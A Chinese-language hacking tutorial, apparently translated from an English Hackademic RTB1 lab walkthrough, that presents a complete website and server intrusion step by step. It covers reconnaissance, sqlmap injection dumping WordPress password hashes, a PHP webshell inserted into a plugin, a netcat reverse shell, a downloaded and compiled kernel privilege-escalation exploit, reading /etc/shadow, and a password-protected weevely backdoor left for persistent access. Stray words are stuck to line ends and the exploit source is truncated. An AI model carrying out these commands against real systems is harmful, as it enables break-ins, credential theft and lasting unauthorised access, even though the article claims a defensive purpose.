經過本文你將瞭解黑客經常使用的入手思路和技術手法,適合熱愛網絡信息安全的新手朋友瞭解學習。本文將從最開始的信息收集開始講述黑客是如何一步步的攻破你的網站和服務器的.閱讀本文你會學到如下內容:php
1.滲透測試前的簡單信息收集。html
2.sqlmap的使用mysql
3.nmap的使用linux
4.nc反彈提權web
5.linux系統的權限提高sql
6.backtrack 5中滲透測試工具nikto和w3af的使用等.shell
假設黑客要入侵的你的網站域名爲:hack-test.com數據庫
讓咱們用ping命令獲取網站服務器的IP地址.apache
如今咱們獲取了網站服務器的IP地址爲:173.236.138.113安全
尋找同一服務器上的其它網站,咱們使用sameip.org.
26 sites hosted on IP Address 173.236.138.113
ID | Domain | Site Link |
1 | hijackthisforum.com | hijackthisforum.com |
2 | sportforum.net | sportforum.net |
3 | freeonlinesudoku.net | freeonlinesudoku.net |
4 | cosplayhell.com | cosplayhell.com |
5 | videogamenews.org | videogamenews.org |
6 | gametour.com | gametour.com |
7 | qualitypetsitting.net | qualitypetsitting.net |
8 | brendanichols.com | brendanichols.com |
9 | 8ez.com | 8ez.com |
10 | hack-test.com | hack-test.com |
11 | kisax.com | kisax.com |
12 | paisans.com | paisans.com |
13 | mghz.com | mghz.com |
14 | debateful.com | debateful.com |
15 | jazzygoodtimes.com | jazzygoodtimes.com |
16 | fruny.com | fruny.com |
17 | vbum.com | vbum.com |
18 | wuckie.com | wuckie.com |
19 | force5inc.com | force5inc.com |
20 | virushero.com | virushero.com |
21 | twincitiesbusinesspeernetwork.com | twincitiesbusinesspeernetwork.com |
22 | jennieko.com | jennieko.com |
23 | davereedy.com | davereedy.com |
24 | joygarrido.com | joygarrido.com |
25 | prismapp.com | prismapp.com |
26 | utiligolf.com | utiligolf.com |
173.236.138.113上有26個網站,不少黑客爲了攻破你的網站可能會檢查同服務器上的其它網站,可是本次是以研究爲目標,咱們將拋開服務器上的其它網站,只針對你的網站來進行入侵檢測。
We’ll need more information about your site, such as:
咱們須要關於你網站的如下信息:
讓咱們開始找你網站的DNS記錄,咱們用who.is來完成這一目標.
咱們發現你的DNS記錄以下
讓咱們來肯定web服務器的類型
發現你的W eb服務器是apache,接下來肯定它的版本.
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3 Month: 3.7
接下來是時候尋找你網站域名的註冊信息,你的電話、郵箱、地址等.
咱們如今已經獲取了你的網站域名的註冊信息,包括你的重要信息等.咱們能夠經過backtrack 5中的whatweb來獲取你的網站服務器操做系統類型和服務器的版本.
咱們發現你的網站使用了著名的php整站程序wordpress,服務器的的系統類型爲Fedora Linux,Web服務器版本Apache 2.2.15.繼續查看網站服務器開放的端口,用滲透測試工具nmap:
1-Find services that run on server(查看服務器上運行的服務)
只有80端口是開放的,操做系統是Linux2.6.22(Fedora Core 6),如今咱們已經收集了全部關於你網站的重要信息, 接下來開始掃描尋找漏洞,好比:
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.
咱們將使用Nikto來收集漏洞信息:
root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com
咱們也會用到Backtrack 5 R1中的W3AF 工具:
root@bt:/pentest/web/w3af# ./w3af_gui
咱們輸入要檢測的網站地址,選擇完整的安全審計選項.
稍等一會,你將會看到掃描結果.
發現你的網站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.讓咱們來探討SQL注入漏洞.
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
咱們經過工具發現這個URL存在SQL注入,咱們經過Sqlmap來檢測這個url.
Using sqlmap with –u url
過一會你會看到
輸入N按回車鍵繼續
咱們發現你的網站存在mysql顯錯注入,mysql數據庫版本是5.0. 咱們經過加入參數」-dbs」來嘗試採集數據庫名.
發現三個數據庫,接下來經過參數」-D wordpress -tables」來查看wordpress數據庫的全部表名
經過參數「-T wp_users –columns 」來查看wp_users表中的字段.
接下來猜解字段user_login和user_pass的值.用參數」-C user_login,user_pass –dump」
咱們會發現用戶名和密碼hashes值. 咱們須要經過如下在線破解網站來破解密碼hashes
http://www.onlinehashcrack.com/free-hash-reverse.php
登錄wordpress的後臺wp-admin
嘗試上傳php webshell到服務器,以方便運行一些linux命令.在插件頁面尋找任何能夠編輯的插件. 咱們選擇Textile這款插件,編輯插入咱們的php webshell,點擊更新文件,而後訪問咱們的php webshell.
Php webshell被解析了,咱們能夠控制你網站的文件,可是咱們只但願得到網站服務器的root權限,來入侵服務器上其它的網站。
咱們用NC來反彈一個shell,首先在咱們的電腦上監聽5555端口.
而後在Php webshell上反向鏈接咱們的電腦,輸入你的IP和端口5555.
點擊鏈接咱們會看到
接下來咱們嘗試執行一些命令:
id
uid=48(apache) gid=489(apache) groups=489(apache)
(用來顯示用戶的id和組)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
(顯示服務器上當前的路徑)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
(顯示內核版本信息)
如今咱們知道,服務器的內核版本是2.6.31.5-127.fc12.1686,咱們在exploit-db.com中搜索此版本的相關漏洞.
在服務器上測試了不少exp以後,咱們用如下的exp來提高權限.
http://www.exploit-db.com/exploits/15285
咱們在nc shell上執行如下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下載exp到服務器並重命名爲roro.c)
注:不少linux內核的exp都是C語言開發的,所以咱們保存爲.c擴展名.
exp roro.c代碼以下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(「[*] Could not open socket.\n」);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
經過以上代碼咱們發現該exp是C語言開發的,咱們須要將他編譯成elf格式的,命令以下:
gcc roro.c –o roro
接下來執行編譯好的exp
./roro
執行完成以後咱們輸入id命令
id
咱們發現咱們已是root權限了
uid=0(root) gid=0(root)
如今咱們能夠查看/etc/shadow文件
cat /etc/shadow
查看/etc/passwd 文件
cat /etc/passwd
咱們可使用」john the ripper」工具破解全部用戶的密碼.可是咱們不會這樣作,咱們須要在這個服務器上留下後門以方便咱們在任什麼時候候訪問它.
咱們用weevely製做一個php小立刻傳到服務器上.
1.weevely使用選項
root@bt:/pentest/backdoors/web/weevely# ./main.py -
2.用weevely建立一個密碼爲koko的php後門
root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko
接下來上傳到服務器以後來使用它
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko
測試咱們的hax.php後門
總結:
在這邊文章中咱們學到的一些技術正被黑客用來入侵你的網站和服務器,咱們但願能經過這篇文章可以對你將來維護服務器和網站安全有所幫助.